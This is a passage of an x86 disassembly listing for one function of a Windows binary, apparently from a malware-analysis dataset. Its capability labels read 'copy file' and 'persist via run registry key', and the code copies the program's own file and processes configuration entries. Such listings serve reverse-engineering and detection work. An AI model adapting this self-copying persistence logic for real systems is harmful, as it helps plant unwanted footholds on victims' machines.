Function at 0x40f29c
Capabilities:
Accept command line arguments
Copy file
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x8a
push 0
push 0
dec ecx
jne 0x40f2a4
push ebx
push esi
push edi
mov eax, 0x40f1f4
call fcn.00405480
xor eax, eax
push ebp
push 0x411f8a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x417a24
mov edx, 0x411fa4
call fcn.00403f94
call fcn.0040eab8
call fcn.0040eb34
call fcn.0040c434
cmp eax, 4
jne 0x40f2f0
push 0
call fcn.004055dc
cmp dword [0x417a24], 0
jne 0x40f308
mov eax, 0x417a24
mov edx, 0x411fc0
call fcn.00403f94
lea ecx, [ebp - 0x1c]
mov edx, 0x411fd0
mov eax, 0x411fdc
call fcn.0040cf2c
mov edx, dword [ebp - 0x1c]
mov eax, 0x417a84
call fcn.00403f94
lea edx, [ebp - 0x20]
mov eax, dword [0x417a84]
call fcn.004061dc
cmp dword [ebp - 0x20], 0
jne 0x40f341
push 0
call fcn.004055dc
lea edx, [ebp - 0x28]
mov eax, dword [0x417a84]
call fcn.004061dc
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x24]
mov edx, 1
call fcn.0040d0ac
mov edx, dword [ebp - 0x24]
mov eax, 0x417a88
call fcn.00403f94
lea edx, [ebp - 0x2c]
mov eax, dword [0x417a88]
call fcn.004061dc
cmp dword [ebp - 0x2c], 0
jne 0x40f385
push 0
call fcn.004055dc
lea edx, [ebp - 0x30]
mov eax, 2
call fcn.0040c9c4
lea eax, [ebp - 0x30]
mov edx, 0x411fec
call fcn.004041c8
mov eax, dword [ebp - 0x30]
call fcn.004043c0
mov edx, eax
mov eax, 0x417a20
call fcn.0040411c
push 0x411ff4
lea edx, [ebp - 0x34]
mov eax, 1
call fcn.004027cc
mov eax, dword [ebp - 0x34]
call fcn.004043c0
push eax
call sub.KERNEL32.DLL_CopyFileA
test eax, eax
jne 0x40f3e8
mov eax, 0x417a98
mov edx, 0x412004
call fcn.00403f94
jmp 0x40f3f7
mov eax, 0x417a98
mov edx, 0x41201c
call fcn.00403f94
mov eax, 0x417a9c
mov edx, 0x41202c
call fcn.00403f94
lea eax, [ebp - 0x3c]
push eax
mov ecx, 0x412048
mov edx, 0x412054
mov eax, dword [0x417a88]
call fcn.0040c138
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0x38]
call fcn.004061dc
mov edx, dword [ebp - 0x38]
mov eax, 0x417a50
call fcn.00403f94
lea eax, [ebp - 0x44]
push eax
mov ecx, 0x412048
mov edx, 0x412068
mov eax, dword [0x417a88]
call fcn.0040c138
mov eax, dword [ebp - 0x44]
lea edx, [ebp - 0x40]
call fcn.004061dc
mov edx, dword [ebp - 0x40]
mov eax, 0x417a8c
call fcn.00403f94
lea eax, [ebp - 0x4c]
push eax
mov ecx, 0x412048
mov edx, 0x412080
mov eax, dword [0x417a88]
call fcn.0040c138
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x48]
call fcn.004061dc
mov edx, dword [ebp - 0x48]
mov eax, 0x417a70
call fcn.00403f94
lea eax, [ebp - 0x54]
push eax
mov ecx, 0x412048
mov edx, 0x412094
mov eax, dword [0x417a88]
call fcn.0040c138
mov eax, dword [ebp - 0x54]
lea edx, [ebp - 0x50]
call fcn.004061dc
mov edx, dword [ebp - 0x50]
mov eax, 0x417a74
call fcn.00403f94
lea eax, [ebp - 0x5c]
push eax
mov ecx, 0x412048
mov edx, 0x4120ac
mov eax, dword [0x417a88]
call fcn.0040c138
mov eax, dword [ebp - 0x5c]
lea edx, [ebp - 0x58]
call fcn.004061dc
mov edx, dword [ebp - 0x58]
mov eax, 0x417a78
call fcn.00403f94
lea eax, [ebp - 0x64]
push eax
mov ecx, 0x412048
mov edx, 0x4120c4
mov eax, dword [0x417a88]
call fcn.0040c138
mov eax, dword [ebp - 0x64]
lea edx, [ebp - 0x60]
call fcn.004061dc
mov edx, dword [ebp - 0x60]
mov eax, 0x417a40
call fcn.00403f94
lea eax, [ebp - 0x6c]
push eax
mov ecx, 0x412048
mov edx, 0x4120d4
mov eax, dword [0x417a88]
call fcn.0040c138
mov eax, dword [ebp - 0x6c]
lea edx, [ebp - 0x68]
call fcn.004061dc
mov edx, dword [ebp - 0x68]
mov eax, 0x417a54
call fcn.00403f94
lea eax, [ebp - 0x70]
push eax
mov ecx, 0x412048
mov edx, 0x4120e8
mov eax, dword [0x417a88]
call fcn.0040c138
mov eax, dword [ebp - 0x70]
mov edx, 0xa
call fcn.0040cc7c
mov dword [0x417abc], eax
lea eax, [ebp - 0x74]
push eax
mov ecx, 0x412048
mov edx, 0x4120fc
mov eax, dword [0x417a88]
call fcn.0040c138
mov eax, dword [ebp - 0x74]
mov edx, 0xb4
call fcn.0040cc7c
mov ebx, eax
lea eax, [ebp - 0x7c]
push eax
mov ecx, 0x412048
mov edx, 0x412110
mov eax, dword [0x417a88]
call fcn.0040c138
mov eax, dword [ebp - 0x7c]
lea edx, [ebp - 0x78]
call fcn.004061dc
mov edx, dword [ebp - 0x78]
mov eax, 0x417a4c
call fcn.00403f94
lea eax, [ebp - 0x84]
push eax
mov ecx, 0x412048
mov edx, 0x412124
mov eax, dword [0x417a88]
call fcn.0040c138
mov eax, dword [ebp - 0x84]
lea edx, [ebp - 0x80]
call fcn.004061dc
mov edx, dword [ebp - 0x80]
mov eax, 0x417aa8
call fcn.00403f94
lea eax, [ebp - 0x8c]
push eax
mov ecx, 0x412048
mov edx, 0x412134
mov eax, dword [0x417a88]
call fcn.0040c138
mov eax, dword [ebp - 0x8c]
lea edx, [ebp - 0x88]
call fcn.004061dc
mov edx, dword [ebp - 0x88]
mov eax, 0x417aa0
call fcn.00403f94
lea edx, [ebp - 0x90]
mov eax, 1
call fcn.0040c9c4
mov eax, dword [ebp - 0x90]
call fcn.004043c0
mov edx, eax
mov eax, 0x417a48
call fcn.0040411c
lea eax, [ebp - 0x94]
mov ecx, dword [0x417a40]
mov edx, dword [0x417a48]
call fcn.0040420c
mov eax, dword [ebp - 0x94]
call fcn.004043c0
mov edx, eax
mov eax, 0x417a44
call fcn.0040411c
lea edx, [ebp - 0x98]
mov eax, 1
call fcn.0040c9c4
lea eax, [ebp - 0x98]
mov edx, 0x412144
call fcn.004041c8
mov eax, dword [ebp - 0x98]
call fcn.004043c0
mov edx, eax
mov eax, 0x417a64
call fcn.0040411c
lea edx, [ebp - 0xa0]
mov eax, 2
call fcn.0040c9c4
push dword [ebp - 0xa0]
push 0x41215c
lea edx, [ebp - 0xa4]
mov eax, 5
call fcn.0040bad4
push dword [ebp - 0xa4]
push 0x412168
lea eax, [ebp - 0x9c]
mov edx, 4
call fcn.00404280
mov eax, dword [ebp - 0x9c]
call fcn.004043c0
mov edx, eax
mov eax, 0x417a5c
call fcn.0040411c
lea edx, [ebp - 0xa8]
mov eax, 1
call fcn.0040c9c4
lea eax, [ebp - 0xa8]
mov edx, dword [0x417a54]
call fcn.004041c8
mov eax, dword [ebp - 0xa8]
call fcn.004043c0
mov edx, eax
mov eax, 0x417a58
call fcn.0040411c
lea eax, [ebp - 0xac]
mov ecx, 0x41215c
mov edx, dword [0x417a58]
call fcn.0040420c
mov eax, dword [ebp - 0xac]
call fcn.004043c0
mov edx, eax
mov eax, 0x417a60
call fcn.0040411c
lea edx, [ebp - 0xb4]
mov eax, 2
call fcn.0040c9c4
push dword [ebp - 0xb4]
push 0x41215c
lea edx, [ebp - 0xb8]
mov eax, dword [0x417a44]
call fcn.00406044
push dword [ebp - 0xb8]
push 0x412178
lea eax, [ebp - 0xb0]
mov edx, 4
call fcn.00404280
mov eax, dword [ebp - 0xb0]
call fcn.004043c0
mov edx, eax
mov eax, 0x417a68
call fcn.0040411c
lea edx, [ebp - 0xbc]
mov eax, dword [0x417a44]
call fcn.00405fc8
lea eax, [ebp - 0xbc]
mov edx, 0x412188
call fcn.004041c8
mov eax, dword [ebp - 0xbc]
call fcn.004043c0
mov edx, eax
mov eax, 0x417a6c
call fcn.0040411c
lea edx, [ebp - 0xc0]
mov eax, 2
call fcn.0040c9c4
mov eax, dword [ebp - 0xc0]
call fcn.004043c0
mov edx, eax
mov eax, 0x417a30
call fcn.0040411c
push dword [0x417a30]
lea edx, [ebp - 0xc8]
mov eax, 5
call fcn.0040bad4
push dword [ebp - 0xc8]
push 0x412198
lea eax, [ebp - 0xc4]
mov edx, 3
call fcn.00404280
mov eax, dword [ebp - 0xc4]
call fcn.004043c0
mov edx, eax
mov eax, 0x417a34
call fcn.0040411c
lea edx, [ebp - 0xcc]
mov eax, 1
call fcn.0040c9c4
lea eax, [ebp - 0xcc]
push eax
lea edx, [ebp - 0xd0]
mov eax, 0x4121a8
call fcn.0040bbac
mov edx, dword [ebp - 0xd0]
pop eax
call fcn.004041c8
mov eax, dword [ebp - 0xcc]
call fcn.004043c0
mov edx, eax
mov eax, 0x417a38
call fcn.0040411c
lea edx, [ebp - 0xd4]
mov eax, 1
call fcn.0040c9c4
lea eax, [ebp - 0xd4]
mov edx, 0x4121c4
call fcn.004041c8
mov eax, dword [ebp - 0xd4]
call fcn.004043c0
mov edx, eax
mov eax, 0x417a3c
call fcn.0040411c
lea edx, [ebp - 0xd8]
xor eax, eax
call fcn.0040c9c4
lea eax, [ebp - 0xd8]
mov edx, 0x4121d8
call fcn.004041c8
mov eax, dword [ebp - 0xd8]
call fcn.004043c0
mov edx, eax
mov eax, 0x417a80
call fcn.0040411c
mov eax, 0x417a7c
mov edx, 0x4121f0
call fcn.00403f94
mov eax, 0x417ab0
mov edx, dword [0x417a4c]
call fcn.00403f94
mov byte [0x417a90], 1
lea edx, [ebp - 0xdc]
mov eax, dword [0x417a50]
call fcn.004061dc
cmp dword [ebp - 0xdc], 0
jne 0x40f995
push 0
call fcn.004055dc
lea edx, [ebp - 0xe0]
xor eax, eax
call fcn.004027cc
mov eax, dword [ebp - 0xe0]
call fcn.004043c0
push eax
lea eax, [ebp - 0xe4]
call fcn.0040c48c
mov eax, dword [ebp - 0xe4]
call fcn.004043c0
push eax
call sub.KERNEL32.DLL_CopyFileA
test eax, eax
jne 0x4110da
mov eax, dword [0x417a80]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0xe8]
call fcn.0040411c
mov eax, dword [ebp - 0xe8]
call fcn.00406294
test al, al
jne 0x40fa07
mov eax, 0x417a7c
mov edx, 0x4121fc
call fcn.00403f94
mov eax, dword [0x417a5c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0xec]
call fcn.0040411c
mov eax, dword [ebp - 0xec]
push eax
mov eax, dword [0x417a50]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0xf0]
call fcn.0040411c
mov eax, dword [ebp - 0xf0]
pop edx
call fcn.0040c7b4
test al, al
je 0x40fb37
mov eax, dword [0x417a58]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0xf4]
call fcn.0040411c
mov eax, dword [ebp - 0xf4]
push eax
mov eax, dword [0x417a5c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0xf8]
call fcn.0040411c
mov eax, dword [ebp - 0xf8]
xor ecx, ecx
pop edx
call fcn.0040dd90
test al, al
jne 0x40fb0b
xor eax, eax
push ebp
push 0x40fb04
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [0x417a58]
call fcn.004043c0
push eax
call sub.KERNEL32.DLL_GetCommandLineA
mov eax, dword [0x417a58]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0xfc]
call fcn.0040411c
mov eax, dword [ebp - 0xfc]
call fcn.00406360
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40fb0b
push 0
mov eax, dword [0x417a58]
call fcn.004043c0
push eax
mov eax, dword [0x417a5c]
call fcn.004043c0
push eax
call fcn.00405584
ret
push 0
mov eax, dword [0x417a5c]
call fcn.004043c0
mov ebx, eax
push ebx
call sub.KERNEL32.DLL_GetCommandLineA
mov edx, ebx
lea eax, [ebp - 0x100]
call fcn.0040411c
mov eax, dword [ebp - 0x100]
call fcn.00406360
mov eax, dword [0x417a58]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x110]
call fcn.0040411c
mov eax, dword [ebp - 0x110]
lea edx, [ebp - 0x10c]
call fcn.0040d294
mov eax, dword [ebp - 0x10c]
lea edx, [ebp - 0x108]
call fcn.0040e588
mov eax, dword [ebp - 0x108]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x104]
call fcn.0040411c
mov eax, dword [ebp - 0x104]
push eax
mov eax, dword [0x417a60]
call fcn.004043c0
mov ebx, eax
mov edx, ebx
lea eax, [ebp - 0x114]
call fcn.0040411c
mov edx, dword [ebp - 0x114]
pop eax
call fcn.0040cad4
mov eax, dword [0x417a60]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x118]
call fcn.0040411c
mov eax, dword [ebp - 0x118]
call fcn.00406294
test al, al
je 0x411094
mov edx, ebx
mov eax, 0x417850
call fcn.00402b34
xor eax, eax
push ebp
push 0x410586
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x417850
call fcn.004028d0
call fcn.00402644
mov eax, 0x417a1c
call fcn.00403f40
xor eax, eax
mov dword [0x417ab4], eax
xor eax, eax
mov dword [0x417ab8], eax
jmp 0x410552
mov edx, 0x417a1c
mov eax, 0x417850
call fcn.00402ea4
mov eax, 0x417850
call fcn.00402f10
call fcn.00402644
lea edx, [ebp - 0x11c]
mov eax, dword [0x417a1c]
call fcn.004061dc
cmp dword [ebp - 0x11c], 0
je 0x410552
mov eax, 0x412208
call fcn.0040dbbc
test al, al
je 0x40fd4c
lea eax, [ebp - 0x120]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x124]
call fcn.0040411c
mov eax, dword [ebp - 0x124]
mov ecx, 0x41221c
mov edx, 0x412228
call fcn.0040c024
mov eax, dword [ebp - 0x120]
or edx, 0xffffffff
call fcn.0040cc7c
mov dword [0x41afa4], eax
lea eax, [ebp - 0x128]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x12c]
call fcn.0040411c
mov eax, dword [ebp - 0x12c]
mov ecx, 0x41221c
mov edx, 0x412238
call fcn.0040c024
mov eax, dword [ebp - 0x128]
or edx, 0xffffffff
call fcn.0040cc7c
mov dword [0x41afa8], eax
lea eax, [ebp - 0x130]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x134]
call fcn.0040411c
mov eax, dword [ebp - 0x134]
mov ecx, 0x412248
mov edx, 0x412254
call fcn.0040c024
mov eax, dword [ebp - 0x130]
call fcn.004043c0
mov edx, eax
mov eax, 0x41afac
call fcn.0040411c
jmp 0x410552
mov eax, 0x412260
call fcn.0040dbbc
test al, al
je 0x40fdf2
lea eax, [ebp - 0x138]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x13c]
call fcn.0040411c
mov eax, dword [ebp - 0x13c]
mov ecx, 0x41221c
mov edx, 0x412274
call fcn.0040c024
mov eax, dword [ebp - 0x138]
xor edx, edx
call fcn.0040cc7c
mov dword [0x41af9c], eax
lea eax, [ebp - 0x140]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x144]
call fcn.0040411c
mov eax, dword [ebp - 0x144]
mov ecx, 0x412248
mov edx, 0x412254
call fcn.0040c024
mov eax, dword [ebp - 0x140]
call fcn.004043c0
mov edx, eax
mov eax, 0x41afa0
call fcn.0040411c
jmp 0x410552
mov eax, 0x412288
call fcn.0040dbbc
test al, al
je 0x40fedd
lea eax, [ebp - 0x148]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x14c]
call fcn.0040411c
mov eax, dword [ebp - 0x14c]
mov ecx, 0x41221c
mov edx, 0x41229c
call fcn.0040c024
mov eax, dword [ebp - 0x148]
xor edx, edx
call fcn.0040cc7c
mov dword [0x41afb4], eax
lea eax, [ebp - 0x150]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x154]
call fcn.0040411c
mov eax, dword [ebp - 0x154]
mov ecx, 0x41221c
mov edx, 0x4122ac
call fcn.0040c024
mov eax, dword [ebp - 0x150]
xor edx, edx
call fcn.0040cc7c
mov dword [0x41afb8], eax
lea eax, [ebp - 0x158]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x15c]
call fcn.0040411c
mov eax, dword [ebp - 0x15c]
mov ecx, 0x412248
mov edx, 0x412254
call fcn.0040c024
mov eax, dword [ebp - 0x158]
call fcn.004043c0
mov edx, eax
mov eax, 0x41afb0
call fcn.0040411c
jmp 0x410552
mov eax, 0x4122bc
call fcn.0040dbbc
test al, al
je 0x4102b2
imul eax, dword [0x417ab4], 0xd
lea ebx, [eax*4 + 0x417acc]
lea eax, [ebp - 0x160]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x164]
call fcn.0040411c
mov eax, dword [ebp - 0x164]
mov ecx, 0x41221c
mov edx, 0x4122cc
call fcn.0040c024
mov eax, dword [ebp - 0x160]
call fcn.0040cbf4
mov byte [ebx], al
lea eax, [ebp - 0x168]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x16c]
call fcn.0040411c
mov eax, dword [ebp - 0x16c]
mov ecx, 0x41221c
mov edx, 0x4122dc
call fcn.0040c024
mov eax, dword [ebp - 0x168]
xor edx, edx
call fcn.0040cc7c
mov dword [ebx + 8], eax
lea eax, [ebp - 0x170]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x174]
call fcn.0040411c
mov eax, dword [ebp - 0x174]
mov ecx, 0x41221c
mov edx, 0x4122ec
call fcn.0040c024
mov eax, dword [ebp - 0x170]
xor edx, edx
call fcn.0040cc7c
mov dword [ebx + 4], eax
lea eax, [ebp - 0x17c]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x180]
call fcn.0040411c
mov eax, dword [ebp - 0x180]
mov ecx, 0x41221c
mov edx, 0x4122fc
call fcn.0040c024
mov eax, dword [ebp - 0x17c]
lea edx, [ebp - 0x178]
call fcn.0040e1fc
mov edx, dword [ebp - 0x178]
lea eax, [ebx + 0x14]
call fcn.00403f94
lea eax, [ebp - 0x184]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x188]
call fcn.0040411c
mov eax, dword [ebp - 0x188]
mov ecx, 0x41221c
mov edx, 0x412238
call fcn.0040c024
mov eax, dword [ebp - 0x184]
mov edx, 0xa
call fcn.0040cc7c
mov dword [ebx + 0x24], eax
lea eax, [ebp - 0x190]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x194]
call fcn.0040411c
mov eax, dword [ebp - 0x194]
mov ecx, 0x41221c
mov edx, 0x412310
call fcn.0040c024
mov eax, dword [ebp - 0x190]
lea ecx, [ebp - 0x18c]
mov edx, 0x4121f0
call fcn.0040cc94
mov edx, dword [ebp - 0x18c]
lea eax, [ebx + 0x28]
call fcn.00403f94
lea eax, [ebp - 0x198]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x19c]
call fcn.0040411c
mov eax, dword [ebp - 0x19c]
mov ecx, 0x41221c
mov edx, 0x412324
call fcn.0040c024
mov eax, dword [ebp - 0x198]
xor edx, edx
call fcn.0040cc7c
mov dword [ebx + 0x18], eax
lea eax, [ebp - 0x1a0]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x1a4]
call fcn.0040411c
mov eax, dword [ebp - 0x1a4]
mov ecx, 0x41221c
mov edx, 0x412334
call fcn.0040c024
mov eax, dword [ebp - 0x1a0]
xor edx, edx
call fcn.0040cc7c
mov dword [ebx + 0x2c], eax
lea eax, [ebp - 0x1ac]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x1b0]
call fcn.0040411c
mov eax, dword [ebp - 0x1b0]
mov ecx, 0x41221c
mov edx, 0x412344
call fcn.0040c024
mov eax, dword [ebp - 0x1ac]
lea edx, [ebp - 0x1a8]
call fcn.004061dc
mov edx, dword [ebp - 0x1a8]
lea eax, [ebx + 0x30]
call fcn.00403f94
lea eax, [ebp - 0x1b4]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x1b8]
call fcn.0040411c
mov eax, dword [ebp - 0x1b8]
mov ecx, 0x412248
mov edx, 0x412254
call fcn.0040c024
mov edx, dword [ebp - 0x1b4]
lea eax, [ebx + 0x20]
call fcn.00403f94
lea eax, [ebp - 0x1bc]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x1c0]
call fcn.0040411c
mov eax, dword [ebp - 0x1c0]
mov ecx, 0x41221c
mov edx, 0x412358
call fcn.0040c024
mov edx, dword [ebp - 0x1bc]
lea eax, [ebx + 0x10]
call fcn.00403f94
lea edx, [ebp - 0x1c4]
mov eax, dword [ebx + 0x10]
call fcn.004061dc
cmp dword [ebp - 0x1c4], 0
jne 0x410257
mov eax, dword [ebx + 0x20]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x1cc]
call fcn.0040411c
mov eax, dword [ebp - 0x1cc]
lea edx, [ebp - 0x1c8]
call fcn.0040cb74
mov edx, dword [ebp - 0x1c8]
lea eax, [ebx + 0x10]
call fcn.00403f94
mov edx, dword [ebx + 0x10]
mov eax, 0x412368
call fcn.00404504
test eax, eax
je 0x410286
lea edx, [ebp - 0x1d0]
mov eax, dword [ebx + 0x10]
call fcn.0040e1fc
mov edx, dword [ebp - 0x1d0]
lea eax, [ebx + 0x1c]
call fcn.00403f94
jmp 0x4102a7
lea edx, [ebp - 0x1d4]
mov eax, 2
call fcn.0040c9c4
mov edx, dword [ebp - 0x1d4]
mov ecx, dword [ebx + 0x10]
lea eax, [ebx + 0x1c]
call fcn.0040420c
inc dword [0x417ab4]
jmp 0x410552
lea eax, [ebp - 0x1d8]
mov edx, 0x41236c
call fcn.0040411c
mov eax, dword [ebp - 0x1d8]
call fcn.0040dbbc
test al, al
je 0x4104f0
mov eax, dword [0x417ab8]
lea eax, [eax + eax*8]
lea eax, [eax*4 + 0x41afbc]
mov dword [0x41d44c], eax
lea eax, [ebp - 0x1dc]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x1e0]
call fcn.0040411c
mov eax, dword [ebp - 0x1e0]
mov ecx, 0x412248
mov edx, 0x412254
call fcn.0040c024
mov edx, dword [ebp - 0x1dc]
mov eax, dword [0x41d44c]
add eax, 4
call fcn.00403f94
lea eax, [ebp - 0x1e4]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x1e8]
call fcn.0040411c
mov eax, dword [ebp - 0x1e8]
mov ecx, 0x41221c
mov edx, 0x41237c
call fcn.0040c024
mov eax, dword [ebp - 0x1e4]
call fcn.0040cbf4
mov edx, dword [0x41d44c]
mov byte [edx], al
lea eax, [ebp - 0x1ec]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x1f0]
call fcn.0040411c
mov eax, dword [ebp - 0x1f0]
mov ecx, 0x41221c
mov edx, 0x4122ec
call fcn.0040c024
mov eax, dword [ebp - 0x1ec]
xor edx, edx
call fcn.0040cc7c
mov edx, dword [0x41d44c]
mov dword [edx + 8], eax
lea eax, [ebp - 0x1f4]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x1f8]
call fcn.0040411c
mov eax, dword [ebp - 0x1f8]
mov ecx, 0x41221c
mov edx, 0x41238c
call fcn.0040c024
mov eax, dword [ebp - 0x1f4]
mov edx, 0xa
call fcn.0040cc7c
mov edx, dword [0x41d44c]
mov dword [edx + 0xc], eax
lea eax, [ebp - 0x1fc]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x200]
call fcn.0040411c
mov eax, dword [ebp - 0x200]
mov ecx, 0x41221c
mov edx, 0x412238
call fcn.0040c024
mov eax, dword [ebp - 0x1fc]
mov edx, 0xa
call fcn.0040cc7c
mov edx, dword [0x41d44c]
mov dword [edx + 0x10], eax
lea eax, [ebp - 0x204]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x208]
call fcn.0040411c
mov eax, dword [ebp - 0x208]
mov ecx, 0x41221c
mov edx, 0x4122dc
call fcn.0040c024
mov eax, dword [ebp - 0x204]
xor edx, edx
call fcn.0040cc7c
mov edx, dword [0x41d44c]
mov dword [edx + 0x14], eax
lea eax, [ebp - 0x20c]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x210]
call fcn.0040411c
mov eax, dword [ebp - 0x210]
mov ecx, 0x41221c
mov edx, 0x4122ac
call fcn.0040c024
mov eax, dword [ebp - 0x20c]
xor edx, edx
call fcn.0040cc7c
mov edx, dword [0x41d44c]
mov dword [edx + 0x20], eax
inc dword [0x417ab8]
jmp 0x410552
lea eax, [ebp - 0x214]
mov edx, 0x412394
call fcn.0040411c
mov eax, dword [ebp - 0x214]
call fcn.0040dbbc
test al, al
je 0x410552
lea eax, [ebp - 0x218]
push eax
mov eax, dword [0x417a1c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x21c]
call fcn.0040411c
mov eax, dword [ebp - 0x21c]
mov ecx, 0x41221c
mov edx, 0x4123a4
call fcn.0040c024
mov eax, dword [ebp - 0x218]
call fcn.0040cbf4
mov byte [0x41685c], al
mov eax, 0x417850
call fcn.00402cfc
call fcn.00402644
test al, al
je 0x40fc24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41058d
mov eax, 0x417850
call fcn.00402ca4
call fcn.00402644
ret
mov eax, dword [0x417a60]
call fcn.00406294
test al, al
je 0x4110ce
push 0
mov eax, dword [0x417a60]
call fcn.004043c0
mov ebx, eax
push ebx
call sub.KERNEL32.DLL_GetCommandLineA
mov edx, ebx
lea eax, [ebp - 0x320]
call fcn.0040411c
mov eax, dword [ebp - 0x320]
call fcn.00406360
push 0
call fcn.004055dc
jmp 0x411a5c
lea edx, [ebp - 0x324]
xor eax, eax
call fcn.004027cc
mov eax, dword [ebp - 0x324]
call fcn.004043c0
push eax
mov eax, dword [0x417a3c]
call fcn.004043c0
push eax
call sub.KERNEL32.DLL_CopyFileA
test eax, eax
jne 0x411a5c
call fcn.0040282c
mov eax, 0x320
call fcn.00402d54
push eax
call sub.KERNEL32.DLL_lstrlenA
mov eax, dword [0x417a98]
call fcn.004043c0
mov esi, eax
mov eax, esi
call fcn.0040bd70
test al, al
jne 0x411a55
mov eax, esi
call fcn.0040bdc4
test al, al
je 0x411a55
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [0x417a44]
call fcn.004043c0
push eax
call fcn.00405594
mov dword [0x417a94], eax
mov eax, dword [0x417a58]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x328]
call fcn.0040411c
mov eax, dword [ebp - 0x328]
call fcn.00406294
test al, al
je 0x4112ab
mov eax, 0x417a7c
mov edx, 0x4121fc
call fcn.00403f94
mov eax, dword [0x417a58]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x334]
call fcn.0040411c
mov eax, dword [ebp - 0x334]
lea edx, [ebp - 0x330]
call fcn.0040d294
mov eax, dword [ebp - 0x330]
lea edx, [ebp - 0x32c]
call fcn.0040e588
mov edx, dword [ebp - 0x32c]
mov eax, 0x417aa4
call fcn.00403f94
lea edx, [ebp - 0x338]
mov eax, dword [0x417aa4]
call fcn.004061dc
cmp dword [ebp - 0x338], 0
je 0x41129b
lea eax, [ebp - 0x33c]
push eax
mov eax, dword [0x417aa4]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x340]
call fcn.0040411c
mov eax, dword [ebp - 0x340]
mov ecx, 0x41221c
mov edx, 0x4124ec
call fcn.0040c024
mov eax, dword [ebp - 0x33c]
mov edx, ebx
call fcn.0040cc7c
mov ebx, eax
lea eax, [ebp - 0x344]
push eax
mov eax, dword [0x417aa4]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x348]
call fcn.0040411c
mov eax, dword [ebp - 0x348]
mov ecx, 0x41221c
mov edx, 0x412504
call fcn.0040c024
mov eax, dword [ebp - 0x344]
mov edx, dword [0x417abc]
call fcn.0040cc7c
mov dword [0x417abc], eax
test ebx, ebx
je 0x4112ab
imul eax, ebx, 0x3e8
push eax
call sub.KERNEL32.DLL_lstrlenA
xor eax, eax
push ebp
push 0x411351
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x417a50]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x354]
call fcn.0040411c
mov eax, dword [ebp - 0x354]
lea edx, [ebp - 0x350]
call fcn.0040c5b8
mov eax, dword [ebp - 0x350]
lea edx, [ebp - 0x34c]
call fcn.0040e588
mov edx, dword [ebp - 0x34c]
mov eax, 0x417aa4
call fcn.00403f94
lea eax, [ebp - 0x358]
push eax
mov eax, dword [0x417aa4]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x35c]
call fcn.0040411c
mov eax, dword [ebp - 0x35c]
